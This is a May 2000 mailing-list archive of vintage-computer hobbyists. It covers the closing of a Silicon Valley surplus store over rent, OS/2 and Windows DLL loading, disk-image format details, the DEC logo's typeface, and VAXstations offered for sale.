<00c701bfc7ed$30769e80$7664c0d0@ajp166> >Yes, seems more and more people here have been watching "Wall Street" (the >movie and the real thing) and embracing Sam Geckoe's motto, "Greed . . . is >good." Seems to be the way of the new millenium, starting with the gas >pumps. Nah, the move was a late comer, the gas gag was done 28 years ago and then pulled out every 12-15 for another try. They get away with it every time. Allison From foo at siconic.com Sat May 27 10:53:22 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:05 2005 Subject: A moment of silence... In-Reply-To: <392F2A59.22311.BDD2264@localhost> Message-ID: On Sat, 27 May 2000, Bruce Lane wrote: > At the end of last month, Haltek Electronics, Mountain View, > CA closed their doors. Not because they wanted to, nor because > they didn't have a loyal following, but purely because of greed on > the part of their jackass of a landlord. > > It seems that their lease was up for renewal. Their landlord, > decided to get greedy, and wanted to at least double what they'd > been paying for rent (maybe even 2.5 or triple... I'm not certain). Bruce. You don't live in the area here. You don't understand the reality of the situation. In case you hadn't noticed, there is an economic boom going on here unparalleled in the history of man (or so the economists say, but at any rate, it's huge). The market for real estate in the Silicon Valley, for better or worse, is skyrocketing. Property values have shot up, along with rents. Now, in a communist state, this landlord would indeed be a greedy jackass, or worse! But here in the good old U.S. of A., he's a capitalist. Why should he be expected to operate as a charity? Get some perspective. > While they may rarely have had the best prices on test gear or > computer hardware, Haltek was a very helpful source of parts for > me and Lord only knows how many other electronics types in the > Bay Area and beyond. I agree that the prices they charged for surplus electronics was mostly inflated. Perhaps if they did have more reaonable pricing they would have had a more vibrant business and would have been able to adjust to the higher rent? Greedy jackass(es)? > I sincerely hope their landlord ends up holding on to a > completely empty building for a VERY long time! Methinks he's a > graduate of the Bill Gates School of Compassion. :-P I bet it's rented out already. > Whatever else happens, I pray that other surplus stores, such > as Weird Stuff and Sharon Industries, aren't next on the chopping > block. If their business model doesn't allow them to absorb higher rents then I'm afraid they'll go under as well. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From kyrrin at bluefeathertech.com Sat May 27 12:20:49 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:05 2005 Subject: A moment of silence... In-Reply-To: References: <392F2A59.22311.BDD2264@localhost> Message-ID: <392FA181.25944.DAE962F@localhost> > Bruce. You don't live in the area here. You don't understand the reality > of the situation. In case you hadn't noticed, there is an economic boom Excuse me. I grew up in the Bay Area. Born and raised in Berkeley, lived there for 23+ years before moving to WA. Yes, I do understand some of the difficulties of finding decent real estate. However, I would want hard proof that something other than greed was involved before I stop calling their landlord a jackass. > Get some perspective. Thank you for sharing your opinion. I still find it hard to believe that some sort of deal could not have been worked out. The ONLY reason prices and rents are skyrocketing as they are is because of the odd and abstract idea that they should. People create inflation, not the other way around. Sellam, I appreciate your sharing your opinion. However, it does not change mine. I'm not going to go into this any further because (a), I don't trust myself to do so without getting thoroughly infuriated, and (b), I don't want to clutter the list with a long and invovled argument. I will say this much, and leave it as such. You can take your "perspective" and stick it in your 8" floppy drive. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From chris at mainecoon.com Sat May 27 13:48:10 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:52:05 2005 Subject: A moment of silence... References: <392F2A59.22311.BDD2264@localhost> <392FA181.25944.DAE962F@localhost> Message-ID: <3930186A.F826C8A6@mainecoon.com> Bruce Lane wrote: > Thank you for sharing your opinion. I still find it hard to believe > that some sort of deal could not have been worked out. > > The ONLY reason prices and rents are skyrocketing as they > are is because of the odd and abstract idea that they should. > People create inflation, not the other way around. No, the reason that rents in the south bay are skyrocketing is simple supply and demand. There's simply not enough space. It's an interesting reversal from not all that long ago, when there was a glut of space in the south bay. Also unlike the past, there's not much dirt left for development. As for "working somthing out", consider that landlords in the south bay are now routinely demanding -- and getting -- options on the companies to which they lease. This isn't to say that I like the situation, but it's not as if I could reasonable expect a property owner to maintain his rents below market value. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From cisin at xenosoft.com Sat May 27 14:26:37 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:52:05 2005 Subject: Another moment of silence... In-Reply-To: <3930186A.F826C8A6@mainecoon.com> Message-ID: > No, the reason that rents in the south bay are skyrocketing is simple > supply and demand. Not just the south bay. The location of my office is adjacent to an area going through rampant gentrification. When I moved my office to its current location 12 years ago, 50 cents a square foot was going rate for warehouse space, usable as office. Now such spaces are being sheetrocked and carpeted, and going for $5 to $10 per square foot. My landlords are a partnership. One of them is trying to retire. The other just started a new venture that immediately failed. So, since the building is worth ten times what they once paid for it, they're selling. 99% probability that the new owners will clear the building, remodel, and raise the rents to 10 times their current level. And the zoning is such that they could add a second level. I've been losing money for a long time. I would keep going, anyway. But there's just no way that I can rationalize moving AND continuing. Therefore, after 22 years (12 in current location), XenoSoft is closing. No idea how long before the landlords find a buyer; then I'll have 30 days. "Greed"? "Capitalism"? It doesn't matter any more. Should I hate my landlords for it? I don't think so, and it's not worth it. I'm too busy discarding all the stuff that represents that part of my life. -- Grumpy Ol' Fred cisin@xenosoft.com From richard at idcomm.com Sat May 27 14:47:58 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:05 2005 Subject: Another moment of silence... References: Message-ID: <000f01bfc814$76c3ae60$0400c0a8@winbook> Just to keep it in proportion, here in the Denver area, "clean" heated and lighted space, concrete on the floor, what you'd like to rent for garage space, except the landlords won't allow "dirty" enterprises such as auto repair, body shops, etc, rents for about $10 where, in '92 it rented for $6. That's just below what it (in 92) cost to build. Of course, now it costs $50 to build. My modest little house valued around $140K would cost $1.1million in the south Bay, and probably more in some special areas. I surely wouldn't rent my house out for what it would have cost 20 years ago to rent one like it. I suppose that makes me greedy, right? Dick ----- Original Message ----- From: Fred Cisin (XenoSoft) To: Sent: Saturday, May 27, 2000 1:26 PM Subject: Another moment of silence... > > No, the reason that rents in the south bay are skyrocketing is simple > > supply and demand. > > Not just the south bay. > The location of my office is adjacent to an area going through rampant > gentrification. When I moved my office to its current location 12 years > ago, 50 cents a square foot was going rate for warehouse space, usable as > office. Now such spaces are being sheetrocked and carpeted, and going for > $5 to $10 per square foot. > > My landlords are a partnership. One of them is trying to retire. The > other just started a new venture that immediately failed. So, since the > building is worth ten times what they once paid for it, they're selling. > 99% probability that the new owners will clear the building, remodel, and > raise the rents to 10 times their current level. And the zoning is such > that they could add a second level. > > I've been losing money for a long time. I would keep going, anyway. But > there's just no way that I can rationalize moving AND continuing. > > > Therefore, after 22 years (12 in current location), XenoSoft is closing. > No idea how long before the landlords find a buyer; then I'll have 30 > days. > > > "Greed"? "Capitalism"? It doesn't matter any more. Should I hate my > landlords for it? I don't think so, and it's not worth it. I'm too busy > discarding all the stuff that represents that part of my life. > > -- > Grumpy Ol' Fred cisin@xenosoft.com > > From ard at p850ug1.demon.co.uk Sat May 27 14:07:59 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:05 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Vintage Computer GAWD!" at May 26, 0 06:44:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3091 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000527/b263ed09/attachment.ksh From jfoust at threedee.com Sat May 27 15:11:50 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <4.3.1.2.20000526161020.00ce0460@persys.com> References: <8763AE987517D2118C0500A0C9AB234C2BAD59@tegntserver.tegjeff .com> Message-ID: <4.3.0.20000527150940.02314d80@pc> So in the OS/2 scheme, how does it map the info at the faulted instruction into the filename and function of the DLL? To me, the primary flaw of Windows DLLs is the tremendous opportunity for the wrong DLL to be loaded - because of the lack of proper implementation of version checking, search path, etc. - John From stevemas at persys.com Sat May 27 16:15:03 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <4.3.0.20000527150940.02314d80@pc> References: <4.3.1.2.20000526161020.00ce0460@persys.com> <8763AE987517D2118C0500A0C9AB234C2BAD59@tegntserver.tegjeff .com> Message-ID: <4.3.1.2.20000527165927.06930be0@persys.com> That's specified by the import library at link time and included in the run time image. The loader reads it when it loads the executable, then searches the LIBPATH for the DLL and dynamically binds to the DLL by ordinal or name. > The primary flaw of Windows DLLs Correct. You can cause that to happen, but its unlikely because the Windows DLLs you are using are probably already loaded. But that's always been a flwa with Windows, especially with MFC and the dozens of different MFC42.DLL versions. Windows 2K prevents that with what they call "side by side" DLLs. You can't replace one of the system DLLs. When you install a program that tries to replace a system DLL, Windows 2K will make it look like the DLL has been replaced, but then replace it with the original DLL.. It also allows you to place custom versions of a DLL in your executable's directory and have them loaded and used instead of the system's copy. So things are better, but still not perfect. In a more perfect world, I would have preferred OS/2 over Windows any day. It has snappier response on an equivalent machine, and works extremely well for real time data acquisition, has low interrupt latency and predicatble response times. At 03:11 PM 5/27/00 -0500, you wrote: >So in the OS/2 scheme, how does it map the info at the faulted >instruction into the filename and function of the DLL? > >To me, the primary flaw of Windows DLLs is the tremendous opportunity >for the wrong DLL to be loaded - because of the lack of proper >implementation of version checking, search path, etc. > >- John - Steve Mastrianni From CLASSICCMP at trailing-edge.com Sat May 27 16:52:19 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:05 2005 Subject: Defining Disk Image Dump Standard Message-ID: <000527175219.20200a02@trailing-edge.com> >> This is a good start. The header should include a byte that contains a >> flag indicating the status of the sector (good, bad, etc). >Other things that are 'missing' from that header are whether the sector >is single or double density, what sort of Data Marker came before it >(some TRS-80 disks use strange data markers, and just about all TRS-80 >M1/M3/M4 OSes use deleted data markers on the directory track). Then there are some *real* oddballs, such as disks with 18 or 12 or 9 bits per byte. It's very, very common for double-density CP/M disks to have the boot sector - and in some cases the first few tracks - in single density. For these odd formats, I just record the waveform from the head for each track for a couple of revolutions, just to make real sure that I'm not missing anything :-). Tim. From ard at p850ug1.demon.co.uk Sat May 27 17:19:15 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:05 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <000527175219.20200a02@trailing-edge.com> from "CLASSICCMP@trailing-edge.com" at May 27, 0 05:52:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1487 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000527/04b9d230/attachment.ksh From eric at brouhaha.com Sat May 27 17:27:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:05 2005 Subject: A moment of silence... In-Reply-To: <392F2A59.22311.BDD2264@localhost> (kyrrin@bluefeathertech.com) References: <392F2A59.22311.BDD2264@localhost> Message-ID: <20000527222725.20458.qmail@brouhaha.com> Bruce wrote (about Haltek): > It seems that their lease was up for renewal. Their landlord, > decided to get greedy, and wanted to at least double what they'd > been paying for rent (maybe even 2.5 or triple... I'm not certain). Their landlord apparently didn't even *offer* to let them stay for a higher rent. He just said "I've got someone else who has agreed to pay twice what you're paying; get out!" From eric at brouhaha.com Sat May 27 17:34:45 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:05 2005 Subject: Apple DiskCopy 4.2 disk image format? Message-ID: <20000527223445.20507.qmail@brouhaha.com> Does anyone have (or know where to find) the specs for the Apple DiskCopy 4.2 disk image format? I know the specs were published (unlike the new Apple Disk Copy 6.x NDIF format), but searches with Altavista, Google, and Ask didn't turn them up. I have some raw disk images of 720K and 1440K diskettes on my web site, and I want to write a Linux program to take a raw image and turn it into an ADC4.2 image, so people with Macs can more easily deal with them. Eric From sethm at loomcom.com Sat May 27 18:53:42 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:52:05 2005 Subject: DIGITAL question. Message-ID: <20000527165342.A1487@loomcom.com> I've got a strange question for former DIGITAL employees out there. It's not likely anyone will be able to answer, but it never hurts to ask. Does anyone know what font was used for the DIGITAL logo? I've never been able to find its exact match, and I'm wondering if anyone had any contact with the Corporate Identity people and might remember. (Kind of a long shot, I know) Thanks, -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From rdd at smart.net Sat May 27 19:24:12 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:05 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: Message-ID: On Sat, 27 May 2000, Peter Joules wrote: > In article <392DD40E.D9E6982D@rain.org>, Marvin writes > >How about dropping this particular thread or taking it to email. Starting > >this kind of a flame war here doesn't do anyone any good. Are you sure about that? If a flame war is over the proper way to repair computers, and people learn from it, is that such a bad thing? Are people so politically correct and thin-skinned these days that their fragile psyches can't tolerate a little flame-fest? > IIRC it's a long time since we had a good flame war on the list. Glad to have been of help. :-) > ObCC - I have just changed jobs and have been sold the MicroVAX 3100 > which I had on loan for 10 UKP. All of the other hardware and software Congratulations! > which I am supposed to return remains in limbo - they don't particularly > want it back as they would then have to throw it away but they retain > ownership :( :-( Of course, for the software, there's such a thing as backups. ;-) -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From ckaiser at oa.ptloma.edu Sat May 27 19:34:01 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:05 2005 Subject: DIGITAL question.y In-Reply-To: <20000527165342.A1487@loomcom.com> from sjm at "May 27, 0 04:53:42 pm" Message-ID: <200005280034.RAA13264@oa.ptloma.edu> ::Does anyone know what font was used for the DIGITAL logo? I've never ::been able to find its exact match, and I'm wondering if anyone had ::any contact with the Corporate Identity people and might remember. ::(Kind of a long shot, I know) I thought it was some kind of Futura. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- NOBODY EXPECTS THE SPANISH INQUISITION! ------------------------------------ From kyrrin at bluefeathertech.com Sat May 27 21:45:33 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:05 2005 Subject: The "Bigger Picture" Message-ID: <393025DD.11005.FB39CAB@localhost> I've already asked ... heck, told... Sellam that I don't want to continue the thread regarding what happened to Haltek. That still holds true. What I would like to add here, now that I've cooled down a bit, is some background on why I reacted as I did. I see the whole Bay Area mess -- skyrocketing housing prices, demand outpacing supply, etc. -- as only one symptom of a much larger pattern of badly distorted values and priorities that, to my eyes, has been developing at least since the mid-80's. That pattern is one of a culture that has, in large part, come to value money above all else. Above family, above skills, above the ability to create something that's truly an innovation (and I do NOT mean web-enabled refrigerators!), and above the ability to take something old, but still usable, and give it new life. Don't get me wrong: I'm not in any way against making a comfortable living, nor am I against a business making a fair profit. That would be as silly as expecting honest behavior out of White House politicians. What I do have a problem with is the pattern I see is "make as much money as you can in as short a time as you can, and to blazes with whoever you might screw, or what you might do to the long-term picture for the planet along the way, because money is the ONLY important thing!" That kind of thinking is as destructive, in the long term, to this world and everyone on it as a nuclear blast would be in the short term. I do not agree with such a warped philosophy. I do not subscribe to it. I will fight it in any way that I can, anywhere I can, in this world or wherever I end up in when my number comes up. I currently do so in many different ways, one of which is by preserving and using older technology that might otherwise serve to choke a landfill even higher than it already is. I think a lot of the list's members are the same way. Every surplus dealer that goes under represents, to my eyes, that much more possible content in the landfills, that much less of an opportunity for a budding hobbyist to learn what real "hacking" is, and that much more of a win for a the mindset of "Plug-and-Play- and-ThrowItAway" rather than doing a 'Quality Job.' Given the above, is it any wonder that I got ticked off when I learned of Haltek's demise, and (more specifically) how they'd come to an end? If Sellam, or anyone else on the list, wants to judge me as short-sighted, or lacking "perspective" because of these beliefs, then I can only say "Guilty as charged, and thanks for sharing your opinion." I'm not out to offend anyone, and I'm certainly not crazy enough to think that everyone is going to agree with me. That would be really dumb. All I was trying to do was express my disgust that a place I considered as a valued resource had been, in my view, unfairly forced out of business. If that did offend anyone, I apologize. Whatever the case, I think I will keep "death notices," as it were, on my web site instead of in the group. Thanks for reading. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From allisonp at world.std.com Sat May 27 20:32:26 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 Message-ID: <012401bfc84d$a7337e70$7664c0d0@ajp166> From: SUPRDAVE@aol.com >a minute. if you want networking, go get warp connect. i've been told that >it's been tweaked a little after warp 3.0 came out. i have it running on a Where would I find that? I'm not warp savy, barely PC savy. >PS/2 server 95 with 48meg with scsi and i get full multimedia and can connect Hummm... How would that run on a 386sx/16 with 5mb? If not that a 486dx2/66 with 12mb. Allison From kyrrin at bluefeathertech.com Sat May 27 23:01:53 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:05 2005 Subject: VAXStations Available - Update Message-ID: <393037C1.2753.FF9813B@localhost> This is an update to my earlier post regarding the availability of VAXStation 4000 VLC's. It is being posted to both CLASSICCMP and port-vax@netbsd.org. The interest in these beasties has been strong, and I had some inquiries as to further details about the unit's innards and specs. With that in mind, here's what I've gotten so far. They are indeed VLC's. Actual model number: VS48K-CA Quantity available: 20. Each unit includes an LK401 keyboard and DEC three-button mouse (not the 'Hockey Puck' style... looks more like a rebadged Logitech). (Also available: One ea. VAXStation 4000/90, condition (like the others): Uknown, pulled from working setup). Installed memory: At least 24 MB. These units appear to use standard 72-pin FPM Parity SIMMs. Video subsystem: Difficult for me to tell. The video board has a bank of 16 each Toshiba part #TC524258BZ-10 memory chips installed. I -think- this means there's 4MB of video memory... someone check me on that, please? 1MB per bank of four chips? Anyway... more details on the video. The board has a 130.808 MHz oscillator, and sports the Bt RAMDAC and chip set. This could be good, bad, or indifferent... I don't know enough about such things to say. Chip numbers are Bt458LPJ135 for the RAMDAC, and Bt438K for the other chip. There do not appear to be any hard drives in any of the units, though I could be mistaken (I didn't examine them all). It does appear that the hard drive mounting brackets were left in, so putting a drive in the thing would not be a huge hassle. Price: $50.00 or best offer per unit plus shipping. Local pickup also available. Contact: Mark Dabek, RE-PC, Tukwila, WA. Phone is 206-575- 8737. Hours are Monday-Saturday, 10:00 - 19:00 Pacific time. Web is www.repc.com. Please tell him I referred you if you go and buy one or more. He likes to know where his business comes from. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From vaxman at uswest.net Sat May 27 23:03:35 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:52:05 2005 Subject: DIGITAL question. In-Reply-To: <20000527165342.A1487@loomcom.com> Message-ID: Perhaps a better question is: Has anyone created a font with the same look and feel of the DEC logo? You have to remember computer fonts are a much more recent creation, since early terminals were character based with a simple 8x8 (or so) bitmapped character stored in ROM. The DEC logo was almost certainly not computer generated, and was simply scanned into electronic artwork for more recent books and such. clint On Sat, 27 May 2000, sjm wrote: > > I've got a strange question for former DIGITAL employees out there. > It's not likely anyone will be able to answer, but it never hurts > to ask. > > Does anyone know what font was used for the DIGITAL logo? I've never > been able to find its exact match, and I'm wondering if anyone had > any contact with the Corporate Identity people and might remember. > (Kind of a long shot, I know) > > Thanks, > > -Seth > -- > "As a general rule, the man in the habit of murdering | Seth Morabito > bookbinders, though he performs a distinct service | sethm@loomcom.com > to society, only wastes his own time and takes no | > personal advantage." -- Kenneth Grahame (1898) | Perth ==> * > > From wilson at dbit.dbit.com Sat May 27 23:36:48 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:05 2005 Subject: DIGITAL question. In-Reply-To: ; from vaxman@uswest.net on Sat, May 27, 2000 at 10:03:35PM -0600 References: <20000527165342.A1487@loomcom.com> Message-ID: <20000528003648.A7579@dbit.dbit.com> On Sat, May 27, 2000 at 10:03:35PM -0600, Clint Wolff (VAX collector) wrote: >Perhaps a better question is: Has anyone created a font with >the same look and feel of the DEC logo? Aren't there two different DEC logos anyway? A few years ago when they decided it should be magenta and the colors should be fixed regardless of what the logo is printed on top of, I thought they claimed that they were slightly reshaping the characters too. I can't see the difference but that doesn't mean it's not there... Or am I remembering wrong? Out of curiousity, what else are you planning to write in this font? I've got an old paper tape with a DECUS sticker on it which is supposed to mimic the DEC stickers, so that buys a few more letters, although it still doesn't look quite right (the letters are smaller relative to the blocks than with the "digital" logo). John Wilson D Bit From marvin at rain.org Sun May 28 00:38:49 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:05 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repa... References: Message-ID: <3930B0E9.9CF8243F@rain.org> "R. D. Davis" wrote: > > > In article <392DD40E.D9E6982D@rain.org>, Marvin writes > > >How about dropping this particular thread or taking it to email. Starting > > >this kind of a flame war here doesn't do anyone any good. > > Are you sure about that? If a flame war is over the proper way to > repair computers, and people learn from it, is that such a bad thing? > Are people so politically correct and thin-skinned these days that > their fragile psyches can't tolerate a little flame-fest? What makes you think a flame war is an effective way to learn? A game perhaps, but learning??? From dpeschel at eskimo.com Sun May 28 01:02:49 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:52:05 2005 Subject: When new advertising meets old computers In-Reply-To: <200005230034.RAA27201@eskimo.com> from "Derek Peschel" at May 22, 2000 05:34:04 PM Message-ID: <200005280602.XAA08144@eskimo.com> Following up to myself... > I haven't yet decoded the tape (if it says anyhthing at all). Luckily I > just got _Computers and Typesetting_ which covers plenty of obscure > typesetting codes (which is the only area I know of in which six-hole tape > ever became popular). It's called _Computer Peripherals and Typesetting_. Everything else I said about it is right (copyright 1968, written by HMSO). Incidentally, the price is given on the copyright page as ?8 0s. 0d. net. -- Derek From pechter at pechter.dyndns.org Sun May 28 04:13:40 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:05 2005 Subject: Digital Logo In-Reply-To: <200005280034.RAA13264@oa.ptloma.edu> from Cameron Kaiser at "May 27, 2000 05:34:01 pm" Message-ID: <200005280913.FAA54307@bg-tc-ppp32.monmouth.com> > ::Does anyone know what font was used for the DIGITAL logo? I've never > ::been able to find its exact match, and I'm wondering if anyone had > ::any contact with the Corporate Identity people and might remember. > ::(Kind of a long shot, I know) > > I thought it was some kind of Futura. > > -- > ----------------------------- personal page: http://www.armory.com/~spectre/ -- > Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu > -- NOBODY EXPECTS THE SPANISH INQUISITION! ------------------------------------ As an old typesetting guy -- I thought it was a modified helvetica... on the new magenta version. It, however may have been a or a Univers varient. I thought there were at least 3 versions. The original DEC logo, the later blue one and the magenta one. I believe the differences were the square dot on the i's and the top of the t was different along with the letter spacing. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 28 04:26:29 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <24.589b81f.2660a405@aol.com> from "SUPRDAVE@aol.com" at "May 27, 2000 00:07:33 am" Message-ID: <200005280926.FAA54448@bg-tc-ppp32.monmouth.com> > i love os/2's WPS! if i could find a os/2 type shell for linux, i'd switch in > a minute. if you want networking, go get warp connect. i've been told that > it's been tweaked a little after warp 3.0 came out. i have it running on a > PS/2 server 95 with 48meg with scsi and i get full multimedia and can connect > to my isp and my other machines. if DSL ever gets around here, i will use it > to host my site. > > DB Young Team OS/2 > > hurry, hurry, step right up! see the computers you used as a kid! > http://members.aol.com/suprdave/classiccmp/museum.htm If you like Warp Connect -- you should see Warp4. Actually, there is a way to get Warp doing ethernet running from the Warp3 kit plus some fixpacks for network software to get the ndis hooks and missing pieces -- since the IP stack is already there -- but the MPTN and LAN stuff isn't. I think the info is up on hobbes. I bought Warp4 and stuff... but I don't think I'm tossing IBM any more money for the final client packages if they're not going to continue to support it past Dec. I would've bought Warp 5 with the new IP stack and the Logical Volume Manager if they would have made it available in a client edition at a reasonable price. Hard to believe they couldn't make money off it like MS's Win98 Second Edition. The code's already done for Warp Server. They probably just don't want to allocate the resources for packaging it. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 28 04:37:48 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <20000526221323.A3827@dbit.dbit.com> from John Wilson at "May 26, 2000 10:13:23 pm" Message-ID: <200005280937.FAA54485@bg-tc-ppp32.monmouth.com> > On Fri, May 26, 2000 at 01:29:32PM -0400, Technoid Mutant wrote: > I really don't get how that happened. I jumped on OS/2 when V2.0 came out > (after reading a really positive review, in Comp Shopper I think), but > then felt burned by the bugs in V2.1 beta (how on earth did they break my > text mode "hello world" program?!?!) and bailed. Err... the early v2 OS/2 didn't have drivers for most of the hardware (IBM had to convince people to write 'em -- unlike MS who said write 'em or get locked out of the market since it's going to be preloaded on piles of PC's) OS/2 ran mostly on PS/2's back in the 2.x days. It took until 2.11 for the beast to stablize and take hold as a business platform (mostly at IBM using sites). > > The weird thing is, M$'s absolute stranglehold on the marketplace has really > only been for the last few years. Or at least it seems that way, because > each new height of predatory behavior they get away with makes the previous > rounds seem insignificant. So I don't get how they managed to lock out IBM. It's the APPS and the moving Win32s target they tried to support. The killer was when MS made Office not run under OS/2. > But OS/2 V2.0 and the 386+ machines were a very good match for each other. > It deserved to succeed, and at the time Windows was only just starting to > snowball, so OS/2 should have been there in time to really get some market > share. OS/2 was slow -- glacial on the early 386's without a LOT of memory 16meg was VERY rare then). IBM used it internally (v2.11) on PS/2 25's with 12-16mb. It was slow loading and glacial loading apps. Many secretaries booted it with all their windows apps loaded so they didn't have to wait for programs to load. They often ran Ami Pro v3.1 under win3.1 since the Lotus Smartsuite was BEHIND the windows version for features. Boot time took almost 5 minutes. It didn't crash, however. OS/2 really didn't show it's stuff until the 486's. IBM went to Pentium 100+ desktops with 32mb of memory and IP networking 3 1/2 years ago. They dropped the Lotus SmartSuite96 on it with the mix of Windows and it reallw worked well. I liked it so much I purchased it for home (along with Corel's WP Office 2000 (for Win9x and Linux) just to have the alternatives to MSOffice. Got to support someone other than MS. I'd bet they're switching to WinNT or Win9x (laptops) and going to Microsoft Word for customer compatibility in a lot of cases. We were one of the first bunches of IBM'ers to do it 3 years ago (due to IBMGS putting us out to support a major NJ manufacturer of Baby Shampoo and Band-Aids (tm) which was not to be named. 8-) > > John Wilson > D Bit > Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From CLASSICCMP at trailing-edge.com Sun May 28 08:11:06 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:05 2005 Subject: DIGITAL question. Message-ID: <000528091106.20200a75@trailing-edge.com> John Wilson wrote: >Aren't there two different DEC logos anyway? A few years ago when they >decided it should be magenta and the colors should be fixed regardless of >what the logo is printed on top of, I thought they claimed that they were >slightly reshaping the characters too. I can't see the difference but >that doesn't mean it's not there... Or am I remembering wrong? I don't think there ever was "a font". I'm pretty sure they just drew the letters they needed, and in some cases they don't even match on the same nameplate. Most of the simple characters are purely line segments and constant-radius arcs, there are obviously some exceptions (the letter "a" in the "|d|i|g|i|t|a|l|", for example, in one font.) You can actually see *three* different - but similar - logo fonts in use on some manuals and equipment. For instance, the purple-and-magenta PDP-11 nameplates (the kind that go on top of a H960, for instance) have the top "|d|i|g|i|t|a|l|" in a fairly traditional (but a bit simplistic) Helvetica-ish font, while the bottom "digital equipment corporation, maynard, massachussets" is in a font that's more like hand printing, with some quirky lilts (like the way the top part of the "e" extends way to the right.) Then the font used for "decsystem" or "pdp11" is yet a third variation if it appears on the logo plate. The numerals are done in a particularly funky manner. My conclusion is that they just had a draftsman draw the letters as needed, without any real font steering committee :-). -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From jfoust at threedee.com Sun May 28 10:35:32 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:52:05 2005 Subject: A moment of silence... In-Reply-To: <20000527222725.20458.qmail@brouhaha.com> References: <392F2A59.22311.BDD2264@localhost> <392F2A59.22311.BDD2264@localhost> Message-ID: <4.3.0.20000528102607.02c2dec0@pc> At 10:27 PM 5/27/00 +0000, you wrote: >Their landlord apparently didn't even *offer* to let them stay for a >higher rent. He just said "I've got someone else who has agreed to >pay twice what you're paying; get out!" Speaking as a landlord, there's always two sides to the story. Of course, the landlord has the right to decide what sort of tenant he wants, regardless of price. It could be something as simple as smokers versus non-smokers, or some other quality of tenant. As for the whole hell-in-a-handbasket scenario, money is one way of expressing value. If more people want a quick oil-change or white-collar office space, and give those businesses more money so 